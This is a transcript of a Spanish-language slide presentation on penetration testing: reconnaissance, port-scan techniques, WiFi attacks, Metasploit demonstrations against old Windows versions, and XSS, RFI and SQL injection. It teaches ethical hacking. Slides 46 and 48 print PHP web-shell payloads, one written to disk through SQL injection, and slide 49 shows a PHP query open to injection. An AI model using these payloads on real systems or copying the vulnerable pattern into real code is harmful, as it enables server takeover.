Técnicas avanzadas de penetración a sistemas

Presentación del tema: "Técnicas avanzadas de penetración a sistemas"— Transcripción de la presentación:

1 Técnicas avanzadas de penetración a sistemas
Ponente: Rafael Gómez Del Ángel Aka :

2 HACKING ETICO Los hackers éticos son profesionales de la seguridad que
aplican sus conocimientos de hacking con fines defensivos (y legales). Diremos hacker siempre, pero hay que fijarse en el contexto.

3 QUE ES UN HACKER Experto en algún campo de la informática
Conocimientos profundos de diversas Plataformas (Windows, Unix, Linux, android). Conocimientos de redes Conocimientos de hardware y software.

4 Pasos previos al ATAQUE
Reconocimiento Pasivo Activo Rastreo (escaner) Acceso Niveles del Sistema Redes DOS Mantener el acceso Borrado de huellas

5 FOOTPRINTING Obtención de los perfiles de seguridad de una organización haciendo uso de una metodología (footprinting). El resultado del footprinting es un perfil único de la organización en cuanto a sus redes (Internet / Intranet / Extranet /Wireless) y sistemas.

6 FOOTPRINTING 1.- Obtener información inicial • whois • nslookup
2.- Localizar el rango de red • Traceroute

7 TIPOS DE ATAQUES 8.-Inyecciones SQL 1.- Hacking WIFI 9.-R.F.I 2.-DOS
10.-XSS 11.-Inyeccion de comandos arbitrarios 12.-Hijacking 13.-Cookie poisoning 1.- Hacking WIFI 2.-DOS 3.-DDOS 4.-M.I.T 5.- Envenenamiento DNS 6.-Reverse Shell 7.-Port scaning

8 Hacking Wifi

9 Definiciones ·BSSID ·IVS ·SSID ·Mode monitor ·AP ·WEP ·STATION ·WPA
·DOS

10 Que Ataques analizaremos?
·Hacking WEP ·Fake AP ·Wifi DOS (A usuarios y sobre saturación de frecuencias)

11 Fake Ap método De Ataque y contra Ataque

12 DOS (Denial of service)
En redes Wifi *Sobre saturacion de Frecuencias *Des-autentificacion infinita de usuarios

13 Detección y Análisis Wardriving

14 Escaneo de Puertos El escaneo de puertos es el ataque primario y mas común utilizado en una auditoria ya sea legal o ilegal. Nos permite : Explorar Identificar Comprender

15 Técnicas Tipo de escaneo Otros Medio abierto Barridos Abierto
Silencioso UDP scan TCP connect () TCP SYN TCP FIN TCP echo FTP bounce scan Reverse Ident Zombie scan ACK Scan UDP echo Null Scan TCP ACK TCP SYN Xmas Scan ICMP echo SYN/ACK Scan Fragmentación TCP

16 TCP connect() La mas común de cualquier software de escaneo de puertos
consiste en usar la llamada connect() de TCP Intenta establecer conexión Si conecta el puerto esta abierto si no , el puerto esta cerrado Si no contesta esta silencioso Muy rápido e invasivo y llamativo en exceso. * Miles de conexiones *Logs

17 Comportamiento TCP connect()
Hacker [SYN]------>[0] Puerto TCP Victima OPEN Hacker< [SYN/ACK] [0] Puerto TCP Victima OPEN Hacker [ACK] >[0] Puerto TCP Victima OPEN Hacker [SYN] >[X] Puerto TCP Victima CLOSED Hacker<-----[RST] [X] Puerto TCP Victima CLOSED Hacker------[SYN] [*] Puerto TCP Victima SILENT

18 *Excelentes resultados
TCP SYN Técnica conocida como Half-open scan, escaneo medio abierto por excelencia se envía un paquete SYN fingiendo establecer una conexion y se espera la respuesta del Host, si llega un paquete SYN/ACK significa que esta abierto y no devolvemos la contestación ACK, devolvemos RST , esto para evitar que se complete el inicio de conexión y así burlar el registro del sistema como intento de conexión *Discreto *Excelentes resultados

19 Comportamiento TCP SYN
Hacker ---[SYN]---> [O] P. TCP abierto en la Victima Hacker <---[SYN/ACK]--- [O] P. TCP abierto en la Victima Hacker ---[RST]---> [O] P. TCP abierto en la Victima Hacker ---[SYN]---> [X] Puerto TCP cerrado en la Victima Hacker <---[RST]--- [X] Puerto TCP cerrado en la Victima Hacker ---[SYN]---> [~] Puerto TCP silencioso en la Victima

20 ACK scan Destinado a identificar aquellos puertos que están en estado silencioso de forma precisa cuando un puerto esta en este estado o no. Envía paquetes ACK con números de secuencia y confirmación aleatorios. si el puerto esta abierto, responderá con un paquete RST, pues no identificara la conexión como suya si el puerto esta cerrado responderá RST pero si no responde es que esta filtrado. * Apoyo de un escaneo anterior *Variable del ping si responde RST esta vivo si no es in alcanzable. *Identificar firewall bloqueando SYN.

21 Comportamiento ACK scan
Hacker ---[ACK]---> [O] Puerto TCP abierto en la Victima Hacker <---[RST]--- [O] Puerto TCP abierto en la Victima Hacker ---[ACK]---> [X] Puerto TCP cerrado en la Victima Hacker <---[RST]--- [X] Puerto TCP cerrado en la Victima Hacker ---[ACK]---> [~] Puerto TCP silencioso en la Victima

22 Null scan Similar al FIN, funciona del mismo modo, enviando paquetes malformados, pero en este caso con los flags desactivados, si el puerto esta cerrado nos responderá con RST y En caso de no recibir nada el puerto esta abierto o silencioso. Ciertos firewalls vigilan los paquetes de finalización aquí hace lo que FIN no.

23 Comportamiento Null scan
Hacker ---[ ]---> [O] Puerto TCP abierto en la Victima local ---[ ]---> [X] Puerto TCP cerrado en la Victima Hacker <---[RST]--- [X] Puerto TCP cerrado en la Victima Hacker ---[ ]---> [~] Puerto TCP silencioso en la Victima

24 La razón

25 POC Analizar 2 tipos de escaneo con la intención de evadir un firewall y obtener información acerca de los puertos abiertos.

26 Ataques MIT DNS cache poisoning ARP Poisoning Phishing

27 EXPLOTACION

28 Escáner de vulnerabilidades

29 Escáner de vulnerabilidades

30

31 EXPLOTACION

32 Metasploit Windows Server 2003

33 Penetración Windows Server 2003 prueba de concepto
Puerto 445 ms08067 Crear usuario Habilitar Escritorio Remoto Cambiar la contraseña del Administrador OBJETIVO Mostrar el ataque de penetración a Windows server 2003 en un ambiente controlado.

34 Metasploit Windows Server 2008 R2

35 Metasploit Windows Server 2008 R2
Numero de vulnerabilidad : ms09050 Encontrar el servidor verificando versión de smb Explotar la vulnerabilidad Denegación de servicios. OBJETIVO Mostrar el ataque de Denegación de servicios a Windows server 2008 en un ambiente controlado.

36 Metasploit Windows XP SP3

37 Metasploit Penetración a Windows XP SP3 Prueba de concepto
Encontrar la victima verificando versión de SMB Lograr la obtención de una reverse shell Habilitar el uso de escritorio remoto Inyectar la conexión a escritorio remoto OBJETIVO Mostrar el ataque de penetración a windows XP sp3 en un ambiente controlado.

38 Metasploit Windows 7

39 Metasploit Windows 7 Penetración Prueba de concepto
Usar INGENIERIA SOCIAL Copiar netcat a la victima y crear puerta trasera creando REVERSE SHELL Vulnerar navegador web. UPLOAD MI PATH C:\DESTINO\\Downloads OBJETIVO Mostrar el ataque de penetración a windows 7 en un ambiente controlado.

40 Ataques WEB

41 Ataques XSS Analicemos la vulnerabilidad de xss
Es una vulnerabilidad de grado medio alto ya que con estos ataques será posible el re alizar el hijacking que es el robo de identidad mediante las cookies del navegador

42 Ataques XSS

43 Ataques XSS

44 Ataques XSS

45 Ataques RFI Remote file inclusion
vulnerabilidad que afecta únicamente a paginas dinámicas programadas en PHP, consiste en enlazar archivos ubicados en un servidor remoto. RFI se aprovecha del uso irresponsable de las funciones include y requiere, las cuales, debido al limitado conocimiento del programador y las pocas o nulas validaciones que realiza antes de incluir una variable recibida por parametro de URL, pueden ser aprovechadas por usuarios maliciosos para incluir scripts programados para explotar dicha vulnerabilidad.

46 Ataques RFI Remote file inclusion
<?php print system($_GET['command']); ?>

47

48 Inyeccion SQL union all select "<?php eval($_GET['exec']); ?>",2,3,4into outfile"/var/www/html/exec.php"

49 Analicemos este código
<?php $link = mysql_connect(' ','root', 'pass'); mysql_select_db('ejemplo', $link); $sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link); if(mysql_errno($link)) { echo mysql_error($link); exit; } while($row = mysql_fetch_assoc($sql)) { echo $ row['id']." ".$row['titulo']." ".$row['contenido']." ".$row['parent']; }? >

50 Busqueda de tablas.

51 Prueba de concepto OBJETIVO
Mostrar el ataque de inyección SQL y la técnica de intrusión de SHELL en un ambiente controlado.

52 EL RESULTADO llegando a una conclusión

53 El resultado.

54

55 Ponente: Rafael Gómez Del Ángel
GRACIAS Ponente: Rafael Gómez Del Ángel Aka :